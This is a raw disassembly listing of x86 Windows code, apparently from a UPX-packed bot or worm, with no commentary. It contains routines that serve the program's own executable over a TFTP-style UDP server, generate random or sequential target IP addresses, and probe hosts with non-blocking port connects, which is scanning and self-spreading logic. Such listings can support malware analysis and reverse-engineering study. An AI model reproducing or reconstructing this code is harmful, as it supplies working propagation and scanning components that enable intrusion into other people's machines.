var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
File		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	ds:dword_43C698	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406CCE
		push	190h
		call	ds:dword_423060	; Sleep
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_429C38 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406CAE
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_E4]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_37C]	; int
		call	sub_40D670
		add	esp, 14h


loc_406CAE:				; CODE XREF: sub_406C0B+7Ej
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_170]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_423050


loc_406CCE:				; CODE XREF: sub_406C0B+50j
		mov	eax, [ebp+var_170]
		push	10h		; Size
		imul	eax, 234h
		push	ebx		; Val
		mov	ds:dword_44207C[eax], edi
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_168]
		call	ds:dword_43C618	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	ds:dword_43C644	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D33
		push	1388h
		call	ds:dword_423060	; Sleep
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_4070F6
; ---------------------------------------------------------------------------


loc_406D33:				; CODE XREF: sub_406C0B+10Dj
		lea	eax, [ebp+Filename]
		push	offset aRb	; "rb"
		push	eax		; Filename
		call	_fopen
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+File], eax
		jnz	short loc_406DB1
		push	190h
		call	ds:dword_423060	; Sleep
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_429C04 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_E4]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_37C]	; int
		call	sub_40D670
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_170]
		call	sub_417064
		add	esp, 28h
		push	ebx
		call	ds:dword_423050


loc_406DB1:				; CODE XREF: sub_406C0B+140j
		mov	esi, 200h


loc_406DB6:				; CODE XREF: sub_406C0B+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_4070B6
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi		; Size
		lea	eax, [ebp+var_D8]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	ds:dword_43C600	; select
		test	eax, eax
		jle	loc_4070AA
		mov	al, ds:byte_4397BC
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	ds:dword_43C5F0	; recvfrom
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+var_58]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_407094
		cmp	[ebp+var_D7], 1
		jnz	loc_406FE0
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		push	eax		; MaxCount
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		call	_strncmp
		add	esp, 14h
		test	eax, eax
		jnz	loc_406F9A
		lea	eax, [ebp+var_1C]
		push	eax		; Str
		call	_strlen
		push	eax		; MaxCount
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]	; Str2
		push	eax		; Str1
		call	_strncmp
		add	esp, 10h
		test	eax, eax
		jnz	loc_406F9A
		push	ebx		; Origin
		push	ebx		; Offset
		push	[ebp+File]	; File
		call	_fseek
		push	[ebp+File]	; File
		lea	eax, [ebp+DstBuf]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi		; Count
		push	1		; ElementSize
		push	eax		; DstBuf
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	_fread
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	ds:dword_43C67C	; sendto
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_429BBC ; Format


loc_406F4E:				; CODE XREF: sub_406C0B+484j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406F88
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_E4]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_37C]	; int
		call	sub_40D670
		add	esp, 14h


loc_406F88:				; CODE XREF: sub_406C0B+358j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		pop	ecx
		jmp	loc_4070AA
; ---------------------------------------------------------------------------


loc_406F9A:				; CODE XREF: sub_406C0B+2B6j
					; sub_406C0B+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_429BA8
		push	edi
		call	ds:dword_43C67C	; sendto
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_429B74 ; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40BF6F
		add	esp, 14h
		jmp	loc_4070AA
; ---------------------------------------------------------------------------


loc_406FE0:				; CODE XREF: sub_406C0B+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_407094
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+Str2]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_40701D
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_40702B
; ---------------------------------------------------------------------------


loc_40701D:				; CODE XREF: sub_406C0B+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl


loc_40702B:				; CODE XREF: sub_406C0B+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx		; Origin
		shl	eax, 9
		sub	eax, esi
		push	eax		; Offset
		push	[ebp+File]	; File
		call	_fseek
		push	[ebp+File]	; File
		lea	eax, [ebp+DstBuf]
		push	esi		; Count
		push	1		; ElementSize
		push	eax		; DstBuf
		call	_fread
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	ds:dword_43C67C	; sendto


loc_40707B:				; DATA XREF: UPX0:004272F8o
					; UPX0:0042730Co ...
		cmp	edi, ebx
		jnz	short loc_4070AA
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_429B20
		jmp	loc_406F4E
; ---------------------------------------------------------------------------


loc_407094:				; CODE XREF: sub_406C0B+268j
					; sub_406C0B+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_429B14
		push	edi
		call	ds:dword_43C67C	; sendto


loc_4070AA:				; CODE XREF: sub_406C0B+204j
					; sub_406C0B+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406DB6


loc_4070B6:				; CODE XREF: sub_406C0B+1B4j
		push	edi
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+File]	; File
		call	_fclose
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_4070EA
		push	[ebp+var_170]
		call	sub_417064
		pop	ecx
		push	ebx
		call	ds:dword_423050


loc_4070EA:				; CODE XREF: sub_406C0B+4CAj
		push	3E8h
		call	ds:dword_423060	; Sleep
		push	esi


loc_4070F6:				; CODE XREF: sub_406C0B+123j
		call	sub_406C0B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406C0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_407102(int,char *Str,int)

sub_407102	proc near		; CODE XREF: sub_40EE51+5D4Bp

Source		= byte ptr -400h
Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+Dest]
		push	offset unk_42A134 ; Format
		push	eax		; Dest
		xor	ebx, ebx
		call	_sprintf
		cmp	ds:dword_429CB0, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_407170
		push	esi
		mov	esi, offset dword_429CB8


loc_407135:				; CODE XREF: sub_407102+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+Source]
		push	offset aSD	; " %s:	%d,"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_407135
		pop	esi


loc_407170:				; CODE XREF: sub_407102+2Bj
		push	ds:dword_486C00
		call	sub_40B71C
		push	eax
		push	ebx
		lea	eax, [ebp+Source]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_407102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4071CC(int,char *Str,int,int)

sub_4071CC	proc near		; CODE XREF: sub_40EE51+5693p

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_416F90
		test	eax, eax
		pop	ecx
		jle	short loc_407208
		mov	eax, [ebp+arg_C]
		push	ds:dword_4397F8[eax*8]
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_42A198 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_40721B
; ---------------------------------------------------------------------------


loc_407208:				; CODE XREF: sub_4071CC+13j
		lea	eax, [ebp+Dest]
		push	offset unk_42A168 ; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_40721B:				; CODE XREF: sub_4071CC+3Aj
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		add	esp, 18h
		leave
		retn
sub_4071CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_407243(int,int,int,int,char Source,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_407243	proc near		; CODE XREF: sub_40796C+4Fp

var_210		= dword	ptr -210h
Dest		= byte ptr -204h
var_4		= byte ptr -4
Source		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_4075D3
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	ds:dword_429CBC[eax], ebx
		jz	loc_4074B4
		push	4
		call	sub_416F90
		test	eax, eax
		pop	ecx
		jnz	loc_4075D3
		mov	eax, ds:dword_42E5AC
		push	edi
		mov	edi, offset dword_43A7B4
		push	104h
		push	edi
		push	ebx
		mov	ds:dword_43A9C4, eax
		mov	ds:dword_43A9C0, ebx
		call	ds:dword_423090	; GetModuleFileNameA
		push	103h		; Count
		mov	esi, offset byte_43A8B8
		push	offset byte_42E664 ; Source
		push	esi		; Dest
		call	_strncpy
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	ds:dword_43A7B0, eax
		mov	eax, [ebp+arg_138]
		push	7Fh		; Count
		mov	ds:dword_43AA48, eax
		jnz	short loc_4072F6
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	offset byte_43A9C8 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	ds:dword_43AA4C, 1
		jmp	short loc_407310
; ---------------------------------------------------------------------------


loc_4072F6:				; CODE XREF: sub_407243+94j
		lea	eax, [ebp+arg_90]
		push	eax		; Source
		push	offset byte_43A9C8 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	ds:dword_43AA4C, ebx


loc_407310:				; CODE XREF: sub_407243+B1j
		push	esi
		push	edi
		push	ds:dword_43A9C4
		lea	eax, [ebp+Dest]
		push	offset unk_42A328 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	4		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 20h
		mov	ds:dword_43A9BC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43A7B0
		push	offset sub_406C0B
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, ds:dword_43A9BC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_40737F


loc_40736D:				; CODE XREF: sub_407243+13Aj
		cmp	ds:dword_43AA50, ebx
		jnz	short loc_40739A
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_40736D
; ---------------------------------------------------------------------------


loc_40737F:				; CODE XREF: sub_407243+128j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_42A2E8 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40739A:				; CODE XREF: sub_407243+130j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		mov	edi, offset dword_43AE0C
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	ds:dword_43B018, ebx
		call	ds:dword_423090	; GetModuleFileNameA
		push	103h		; Count
		mov	esi, offset byte_43AF10
		push	offset byte_42E664 ; Source
		push	esi		; Dest
		call	_strncpy
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	ds:dword_43AE08, eax
		mov	eax, [ebp+arg_138]
		push	7Fh		; Count
		mov	ds:dword_43B0A0, eax
		jnz	short loc_407415
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	offset byte_43B020 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	ds:dword_43B0A4, 1
		jmp	short loc_40742F
; ---------------------------------------------------------------------------


loc_407415:				; CODE XREF: sub_407243+1B3j
		lea	eax, [ebp+arg_90]
		push	eax		; Source
		push	offset byte_43B020 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	ds:dword_43B0A4, ebx


loc_40742F:				; CODE XREF: sub_407243+1D0j
		push	esi
		push	edi
		push	ds:dword_43B01C
		lea	eax, [ebp+Dest]
		push	offset dword_42A298 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	5		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 20h
		mov	ds:dword_43B014, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43AE08
		push	offset sub_4053D6
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, ds:dword_43B014
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_4074A3


loc_40748D:				; CODE XREF: sub_407243+25Ej
		cmp	ds:dword_43B0A8, ebx
		jnz	loc_4075C6
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_40748D
; ---------------------------------------------------------------------------


loc_4074A3:				; CODE XREF: sub_407243+248j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42A258
		jmp	loc_4075B7
; ---------------------------------------------------------------------------


loc_4074B4:				; CODE XREF: sub_407243+25j
		cmp	ds:dword_429CC0[eax], ebx
		jz	loc_4075D3
		push	3
		call	sub_416F90
		test	eax, eax
		pop	ecx
		jnz	loc_4075D3
		mov	esi, offset byte_43ACE4
		push	104h
		push	esi
		push	ebx
		call	ds:dword_423090	; GetModuleFileNameA
		push	5Ch		; Ch
		push	esi		; Str
		call	_strrchr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4074F2
		mov	[eax], bl


loc_4074F2:				; CODE XREF: sub_407243+2ABj
		mov	eax, ds:dword_42E5B0
		mov	ds:dword_43ADFC, ebx
		mov	ds:dword_43ADE8, eax
		lea	eax, [ebp+Source]
		push	eax		; Format
		push	offset Dest	; Dest
		call	_sprintf
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	ds:dword_43AA58, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	ds:dword_43ADE8
		mov	ds:dword_43ADF4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	ds:dword_43ADF8, ecx
		call	sub_40AEDB
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_42A20C ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	3		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 20h
		mov	ds:dword_43ADF0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43AA58
		push	offset sub_405AF0
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, ds:dword_43ADF0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_4075AB


loc_407599:				; CODE XREF: sub_407243+366j
		cmp	ds:dword_43AE04, ebx
		jnz	short loc_4075C6
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_407599
; ---------------------------------------------------------------------------


loc_4075AB:				; CODE XREF: sub_407243+354j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A1C8 ; Format


loc_4075B7:				; CODE XREF: sub_407243+26Cj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_4075C6:				; CODE XREF: sub_407243+250j
					; sub_407243+35Cj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		pop	ecx


loc_4075D3:				; CODE XREF: sub_407243+14j
					; sub_407243+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_407243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4075D7(int Dst)

sub_4075D7	proc near		; CODE XREF: sub_407758:loc_4077C9p

Dst		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+Dst]
		push	esi
		push	4		; Size
		lea	esi, ds:4397F8h[eax*8]
		lea	eax, [ebp+Dst]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	[ebp+Dst]
		call	ds:dword_43C54C	; htonl
		inc	eax
		push	eax
		mov	[ebp+Dst], eax
		call	ds:dword_43C614	; htonl
		mov	[ebp+Dst], eax
		lea	eax, [ebp+Dst]
		push	4		; Size
		push	eax		; Src
		push	esi		; Dst
		call	_memcpy
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4075D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40761F(char *Src,int)

sub_40761F	proc near		; CODE XREF: sub_407758+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+Src]	; Str
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	_strlen
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_407647
		xor	eax, eax
		jmp	short loc_4076B8
; ---------------------------------------------------------------------------


loc_407647:				; CODE XREF: sub_40761F+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+Src]	; Src
		call	_sscanf
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_407674
		call	_rand
		mov	[ebp+var_C], eax


loc_407674:				; CODE XREF: sub_40761F+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_407681
		call	_rand
		mov	[ebp+var_8], eax


loc_407681:				; CODE XREF: sub_40761F+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40768E
		call	_rand
		mov	[ebp+var_4], eax


loc_40768E:				; CODE XREF: sub_40761F+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40769A
		call	_rand


loc_40769A:				; CODE XREF: sub_40761F+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_4397F8[ecx*8],	eax


loc_4076B8:				; CODE XREF: sub_40761F+26j
		pop	esi
		leave
		retn
sub_40761F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076BB	proc near		; CODE XREF: sub_407758+B8p
					; sub_40D4BC+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	ds:dword_43C698	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4076E4
		xor	eax, eax
		jmp	short loc_407753
; ---------------------------------------------------------------------------


loc_4076E4:				; CODE XREF: sub_4076BB+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	ds:dword_43C618	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_43C6B4	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43C5C0	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	ds:dword_43C600	; select
		push	esi
		mov	edi, eax
		call	ds:dword_43C6B0	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_407753:				; CODE XREF: sub_4076BB+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4076BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407758	proc near		; DATA XREF: sub_40796C+13Bo

var_2A8		= dword	ptr -2A8h
Dest		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
Src		= byte ptr -150h
var_140		= byte ptr -140h
Str		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+Src]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_423054	; GetTickCount
		push	eax
		call	sub_4172EE
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40779F:				; CODE XREF: sub_407758+200j
		mov	eax, ds:dword_442074[ebx]
		cmp	ds:dword_4397FC[eax*8],	0
		jz	loc_40795D
		cmp	[ebp+var_10], 0
		push	eax		; Dst
		jz	short loc_4077C9
		lea	eax, [ebp+Src]
		push	eax		; Src
		call	sub_40761F
		pop	ecx
		jmp	short loc_4077CE
; ---------------------------------------------------------------------------


loc_4077C9:				; CODE XREF: sub_407758+60j
		call	sub_4075D7


loc_4077CE:				; CODE XREF: sub_407758+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	ds:dword_442074[ebx]
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_42A3BC ; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax		; Format
		lea	eax, dword_441E70[ebx]
		push	eax		; Dest
		call	_sprintf
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4076BB
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40794D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4078A2
		push	offset dword_43A798
		call	ds:dword_4230C4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_42A384 ; Format
		push	eax		; Dest
